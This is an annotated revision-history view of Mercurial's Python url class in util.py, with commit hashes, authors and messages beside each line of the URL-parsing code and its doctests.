Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3071
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3072
    Missing components are set to None. The only exception is
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3073
    fragment, which is set to '' if present but empty.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3074
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3075
    If parsefragment is False, fragment is included in query. If
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3076
    parsequery is False, query is included in path. If both are
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3077
    False, both fragment and query are included in path.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3078
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3079
    See http://www.ietf.org/rfc/rfc2396.txt for more information.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3080
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3081
    Note that for backward compatibility reasons, bundle URLs do not
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3082
    take host names. That means 'bundle://../' has a path of '../'.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3083
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3084
    Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3085
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3086
    >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3087
    <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3088
    >>> url(b'ssh://[::1]:2200//home/joe/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3089
    <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3090
    >>> url(b'file:///home/joe/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3091
    <url scheme: 'file', path: '/home/joe/repo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3092
    >>> url(b'file:///c:/temp/foo/')
14915
28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents: 14825
diff changeset
  3093
    <url scheme: 'file', path: 'c:/temp/foo/'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3094
    >>> url(b'bundle:foo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3095
    <url scheme: 'bundle', path: 'foo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3096
    >>> url(b'bundle://../foo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3097
    <url scheme: 'bundle', path: '../foo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3098
    >>> url(br'c:\foo\bar')
14146
1618c4f6f15b tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents: 14100
diff changeset
  3099
    <url path: 'c:\\foo\\bar'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3100
    >>> url(br'\\blah\blah\blah')
14699
388af80c058b url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14640
diff changeset
  3101
    <url path: '\\\\blah\\blah\\blah'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3102
    >>> url(br'\\blah\blah\blah#baz')
15074
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
  3103
    <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3104
    >>> url(br'file:///C:\users\me')
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
  3105
    <url scheme: 'file', path: 'C:\\users\\me'>
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3106
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3107
    Authentication credentials:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3108
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3109
    >>> url(b'ssh://joe:xyz@x/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3110
    <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3111
    >>> url(b'ssh://joe@x/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3112
    <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3113
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3114
    Query strings and fragments:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3115
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3116
    >>> url(b'http://host/a?b#c')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3117
    <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3118
    >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3119
    <url scheme: 'http', host: 'host', path: 'a?b#c'>
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
  3120
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
  3121
    Empty path:
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
  3122
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3123
    >>> url(b'')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
  3124
    <url path: ''>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3125
    >>> url(b'#a')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
  3126
    <url path: '', fragment: 'a'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3127
    >>> url(b'http://host/')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
  3128
    <url scheme: 'http', host: 'host', path: ''>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3129
    >>> url(b'http://host/#a')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
  3130
    <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
  3131
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
  3132
    Only scheme:
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
  3133
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3134
    >>> url(b'http:')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
  3135
    <url scheme: 'http'>
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3136
    """
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3137
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3138
    _safechars = "!~*'()+"
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
  3139
    _safepchars = "/!~*'()+:\\"
30329
dadb00a0ec0f util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents: 30328
diff changeset
  3140
    _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3141
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3142
    def __init__(self, path, parsequery=True, parsefragment=True):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3143
        # We slowly chomp away at path until we have only the path left
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3144
        self.scheme = self.user = self.passwd = self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3145
        self.port = self.path = self.query = self.fragment = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3146
        self._localpath = True
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3147
        self._hostport = ''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3148
        self._origpath = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3149
15074
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
  3150
        if parsefragment and '#' in path:
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
  3151
            path, self.fragment = path.split('#', 1)
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
  3152
14699
388af80c058b url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14640
diff changeset
  3153
        # special case for Windows drive letters and UNC paths
30329
dadb00a0ec0f util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents: 30328
diff changeset
  3154
        if hasdriveletter(path) or path.startswith('\\\\'):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3155
            self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3156
            return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3157
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3158
        # For compatibility reasons, we can't handle bundle paths as
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3159
        # normal URLS
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3160
        if path.startswith('bundle:'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3161
            self.scheme = 'bundle'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3162
            path = path[7:]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3163
            if path.startswith('//'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3164
                path = path[2:]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3165
            self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3166
            return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3167
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3168
        if self._matchscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3169
            parts = path.split(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3170
            if parts[0]:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3171
                self.scheme, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3172
                self._localpath = False
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3173
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3174
        if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3175
            path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3176
            if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3177
                self.path = ''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3178
                return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3179
        else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3180
            if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3181
                self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3182
                return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3183
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3184
            if parsequery and '?' in path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3185
                path, self.query = path.split('?', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3186
                if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3187
                    path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3188
                if not self.query:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3189
                    self.query = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3190
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3191
            # // is required to specify a host/authority
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3192
            if path and path.startswith('//'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3193
                parts = path[2:].split('/', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3194
                if len(parts) > 1:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3195
                    self.host, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3196
                else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3197
                    self.host = parts[0]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3198
                    path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3199
                if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3200
                    self.host = None
15018
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents: 14988
diff changeset
  3201
                    # path of file:///d is /d
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents: 14988
diff changeset
  3202
                    # path of file:///d:/ is d:/, not /d:/
14915
28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents: 14825
diff changeset
  3203
                    if path and not hasdriveletter(path):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3204
                        path = '/' + path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3205
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3206
            if self.host and '@' in self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3207
                self.user, self.host = self.host.rsplit('@', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3208
                if ':' in self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3209
                    self.user, self.passwd = self.user.split(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3210
                if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3211
                    self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3212
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3213
            # Don't split on colons in IPv6 addresses without ports
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3214
            if (self.host and ':' in self.host and
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3215
                not (self.host.startswith('[') and self.host.endswith(']'))):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3216
                self._hostport = self.host
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3217
                self.host, self.port = self.host.rsplit(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3218
                if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3219
                    self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3220
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3221
            if (self.host and self.scheme == 'file' and
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3222
                self.host not in ('localhost', '127.0.0.1', '[::1]')):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3223
                raise Abort(_('file:// URLs can only refer to localhost'))
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3224
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3225
        self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3226
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  3227
        # leave the query string escaped
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3228
        for a in ('user', 'passwd', 'host', 'port',
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  3229
                  'path', 'fragment'):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3230
            v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3231
            if v is not None:
31567
4ebecf331d7d util: use urlreq.unquote
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31541
diff changeset
  3232
                setattr(self, a, urlreq.unquote(v))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3233
34072
30535fe47e78 py3: fix repr(util.url) to return system string
Yuya Nishihara <yuya@tcha.org>
parents: 34052
diff changeset
  3234
    @encoding.strmethod
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3235
    def __repr__(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3236
        attrs = []
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3237
        for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3238
                  'query', 'fragment'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3239
            v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3240
            if v is not None:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3241
                attrs.append('%s: %r' % (a, v))
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3242
        return '<url %s>' % ', '.join(attrs)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3243
33022
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32886
diff changeset
  3244
    def __bytes__(self):
14147
617483af1cc0 test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents: 14146
diff changeset
  3245
        r"""Join the URL's components back into a URL string.
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3246
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3247
        Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3248
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
  3249
        >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
15452
de7e2fba4326 util: don't encode ':' in url paths
Mads Kiilerich <mads@kiilerich.com>
parents: 15392
diff changeset
  3250
        'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
  3251
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  3252
        'http://user:pw@host:80/?foo=bar&baz=42'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
  3253
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  3254
        'http://user:pw@host:80/?foo=bar%3dbaz'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
  3255
        >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3256
        'ssh://user:pw@[::1]:2200//home/joe#'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
  3257
        >>> bytes(url(b'http://localhost:80//'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3258
        'http://localhost:80//'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
  3259
        >>> bytes(url(b'http://localhost:80/'))
14076
